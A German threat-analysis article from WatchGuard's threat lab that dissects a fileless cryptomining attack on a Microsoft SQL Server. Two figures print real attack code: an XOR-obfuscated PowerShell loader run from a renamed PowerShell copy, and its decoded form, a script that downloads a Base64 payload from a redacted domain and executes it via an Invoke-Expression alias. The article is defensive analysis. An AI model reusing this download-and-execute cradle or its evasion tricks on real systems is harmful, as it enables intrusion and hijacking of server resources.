„Fileless Malware“ auf den Zahn gefühlt

Im Zuge des konsequent anhaltenden Wettrüstens beim Thema Cybersecurity setzen Angreifer auf immer ausgefeiltere Verschleierungsmethoden, um in den Netzwerken ihrer Opfer Fuß zu fassen. Da die meisten modernen Lösungen für Endpoint Protection heute in der Lage sind, klassische Malware – die heruntergeladen und auf dem Endpunkt abgelegt wird – zu identifizieren, kommt immer häufiger sogenannte „Fileless Malware“ zum Einsatz, die keinerlei Spuren im Systemspeicher hinterlässt. Grund genug, sich genauer mit diesem Thema zu befassen.

Von Marc Laliberte, WatchGuard Technologies

Zugegeben, der Begriff „dateilose Malware“ ist ein wenig irreführend, da am Anfang durchaus Dateien involviert sein können – und meistens auch sind. Während herkömmliche Malware jedoch den schädlichen Code in einer ausführbaren Datei führt, die ihren Niederschlag auf dem Systemspeicher findet, agiert dateilose Malware ausschließlich über den Arbeitsspeicher. Bei klassischer Malware kann davon ausgegangen werden, dass mit dem Löschen der ausführbaren Datei auch der Infektion selbst der Riegel vorgeschoben wird. Somit stellt eine Identifizierung und Entschärfung im Rahmen von Endpoint Protection meist keinerlei Problem dar. Dateilose Malware verwendet hingegen nur eine initiale „Dropper“-Datei (etwa ein Office-Dokument), um ein integriertes Framework wie PowerShell zu öffnen und darüber ein Skript auszuführen. Für viele Security-Tools ist dieses Vorgehen kaum erkennbar, da der Code in andere Prozesse eingeschleust wird, ohne jemals mit einem Speicherlaufwerk in Kontakt zu kommen. Ein Grund für die steigende Beliebtheit dateiloser Malware ist also die Tatsache, dass sie sich so schwer identifizieren lässt. Es gestaltet sich schwierig, solche Angriffe in ihren Anfangsstadien zu erkennen und zu blockieren, da auch immer die Gefahr besteht, dass es sich um einen Fehlalarm handelt und legitime Aktivitäten behindert werden.

Verschlungene Pfade führen zum Ziel

Selbst wenn ein Großteil der dateilosen Malware mit irgendeiner Form von Dropper beginnt, gibt es auch Varianten, die tatsächlich gar keine Datei benötigen. Angreifern bieten sich in dem Zusammenhang zwei Möglichkeiten: Entweder sie führen den fremden Code über eine bestehende Schwachstelle in einem Programm aus oder (was häufiger vorkommt) sie verwenden gestohlene Anmeldeinformationen und missbrauchen so eine mit dem Netzwerk verbundene Anwendung für Systembefehle in ihrem Sinne.

```
C:\Windows\Temp\sysdo.exe
    -c $p='b3f8b7aab7d9f2e0bad8f5fdf2f4eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXf9fef4b7e3fc';
    $p = for($i=0; $i -lt $p.length; $i+=2){
        [char](([byte][char][int]::Parse($p.substring($i,2),'HexNumber')) -bxor 151)
    };
    $p=(-join $p) -join ' ';
    $p|&(GAL I*X)
```

Abbildung 1: Die Abbildung zeigt den vom WatchGuard-Team entdeckten verschlüsselten Code in der PowerShell (hier zur Sicherheit unkenntlich gemacht).

Das WatchGuard Threat Lab konnte kürzlich einen laufenden Angriff aufdecken, bei dem die zweitgenannte Methode zum Einsatz kam. Nachdem die Web-Konsole von Panda Adaptive Defense 360 (seit Juni 2021 unter dem Namen „WatchGuard EPDR“ (Endpoint Protection, Detection and Response) geführt) eine Warnmeldung anzeigte, untersuchten die Spezialisten von WatchGuard deren Ursprung. Durch die Auswertung diverser Indikatoren und Telemetriedaten, die von einem zur Umgebung des potenziellen Opfers gehörenden Server-Endpunkt gesammelt wurden, ergab sich ein klareres Bild. Die akute Bedrohung ließ sich rechtzeitig und effektiv beseitigen – bevor sie ihr Ziel erreichen konnte.

Speziell an dieser Attacke war ihr ungewöhnlicher Einstiegspunkt: der Microsoft SQL-Server des Opfers. Obwohl die Hauptaufgabe der Datenbankanwendung das Speichern von Datensätzen ist, besteht darüber hinaus die Möglichkeit, Systembefehle

auf dem zugrunde liegenden Server auszuführen. Zwar wird es empfohlen, die Rechte zur Verwendung von Windows-Dienstkonten gezielt zu beschränken. Trotzdem setzen viele Administratoren immer noch auf Accounts mit umfassenden Befugnissen. Damit steht auch dem Missbrauch Tür und Tor offen.

```
$o = New - Object - ComObject Msxml2.XMLHTTP;
$o.Open('Get', 'http://[redacted_domain]/nc.txt',$false);
$o.Send();
$p = $o.responseText;
[System.Text.Encoding]::Ascii.GetString([Convert]::FromBase64String($p))|&(GAL I * X);
main - QmDvMERT99 http://[redacted_domain]/ -ming day2 -PRHVoCqZ99
```

Abbildung 2: Nach der Entschlüsselung des Befehls aus Abbildung 1 stellte sich heraus, dass es sich um ein sehr einfaches PowerShell-Skript handelte, das weiteren schädlichen Code nachlud.

Die Zugangsdaten zum SQL-Server hatte sich der Angreifer im Vorfeld beschafft – wie genau ihm dies gelungen ist, konnte nicht abschließend geklärt werden. Wahrscheinlich genügte eine Spear-Phishing-E-Mail oder eine Brute-Force-Attacke, bei der ein zu einfaches Passwort geknackt wurde. Nachdem der Hacker Zugriff auf das System hatte und hierüber SQL-Befehle ausführen konnte, boten sich ihm gleich mehrere vielversprechende Optionen, um Schaden anzurichten.

Besonders beliebt ist an diesem Punkt die Aktivierung und anschließende Verwendung der xp_cmdshell-Prozedur. Der Angreifer im vorliegenden Beispiel setzte vermutlich ebenfalls auf diese Methode. Unter Umständen lud er jedoch auch eigenen Shellcode in die SQL-Server-Engine, um die Windows PowerShell-Anwendung (PowerShell.exe) unter dem neuen Namen sysdo.exe in das „Temp"-Verzeichnis des Servers zu kopieren. Mithilfe einer solchen Umbenennung von PowerShell vor der Verwendung versuchte der Angreifer sicherheitsrelevante Suchfilter auszutricksen, die sich bei der Erkennung von PowerShell-Befehlen nur vom Namen der Anwendung leiten lassen.

Nachdem die „getarnte" Version von PowerShell bereitstand, wurde im ersten Schritt der verschlüsselte Befehl in Abbildung 1 ausgeführt (hier zur Sicherheit unkenntlich gemacht). Mehr Klarheit brachte die Entschlüsselung durch das WatchGuard-Team (siehe Abbildung 2).

Das verwendete PowerShell-Skript stellte sich als sehr simpel heraus. Es sendete zunächst eine Web-Anfrage an eine bösartige Domain und lud dann von dieser die im zweiten Schritt benötigten Nutzdaten herunter, in dem Fall eine Textdatei namens nc.txt. In dieser Textdatei befanden sich wiederum weitere PowerShell-Nutzdaten in einer Base64-Kodierung. Das Skript dekodierte diese nun und führte sie dann mithilfe des Invoke-Expression-Moduls aus. Da dieses nicht direkt, sondern über ein Alias aufgerufen wurde, konnte der Angreifer eine zusätzliche Tarnung sicherstellen.

Bei den Nutzdaten der zweiten Stufe handelte es sich um eine leicht modifizierte Version des beliebten PowerSploit-Moduls Invoke-ReflectivePEInjection. Nach dessen Ausführung wurde nochmals dieselbe bösartige Domain aufgerufen und ein drittes Paket Nutzdaten heruntergeladen, konkret eine DLL-Binärdatei namens duser.dll.

Per PowerSploit-Modul war das PowerShell-Skript in der Lage, die DLL-Datei in den Arbeitsspeicher zu laden, um sie von dort auszuführen. In diesem Fall entpuppte sich das Paket als Kryptominer, der die umfangreichen Verarbeitungsressourcen des SQL-Servers zum Schürfen von Kryptowährungen genutzt hätte – wäre er nicht vorher aufgehalten worden.

Nachrüsten bei der Abwehr

Das vorliegende Beispiel zeigt auf, dass es keinesfalls trivial ist, einem solchen Angriffsversuch auf die Schliche zu kommen. Nur durch eine genaue Prozessanalyse konnte das WatchGuard-Team den Übergriff erkennen und das damit beabsichtigte Ziel des Kryptominings aufschlüsseln. Da es während des gesamten Angriffs nie Berührungspunkte mit dem Server-Speicherlaufwerk auf Seiten des potenziellen Opfers gab, wäre die Bedrohung von klassischen Endpoint-Security-Werkzeugen, die nur Dateien überwachen, völlig übersehen worden.

Es ist davon auszugehen, dass dateilose Malware künftig immer häufiger zum Einsatz kommt. Schließlich machen es Tools wie PowerSploit selbst unerfahrenen Cyberkriminellen leicht, entsprechende Angriffe zu starten. Unternehmen sollten sich also adäquat rüsten und Endpoint-Protection-Plattform-(EPP)-Lösungen beziehungsweise Endpoint-Detection-and-Response-(EDR)-Lösungen einsetzen, die auch rein arbeitsspeicherbasierte Angriffe identifizieren können. Gleichzeitig kommt es auf einen verantwortungsvollen Umgang mit Passwörtern und die Implementierung einer Multifaktor-Authentifizierung an. Nur so lässt sich verhindern, dass der Diebstahl von Anmeldeinformationen einen erfolgreichen Angriff nach sich zieht. In Kombination können all diese Bausteine im Rahmen eines ganzheitlichen Sicherheitskonzepts dazu beitragen, die von „Fileless Malware" ausgehende Gefahr erheblich zu reduzieren. ■

Marc Laliberte ist leitender Sicherheitsanalyst bei WatchGuard Technologies. Er hat sich auf Netzwerksicherheitsprotokolle und Internet of Things-Technologien spezialisiert. Zu seinen täglichen Aufgaben gehört die Recherche und Berichterstattung über die neuesten Bedrohungen und Trends im Bereich der Informationssicherheit.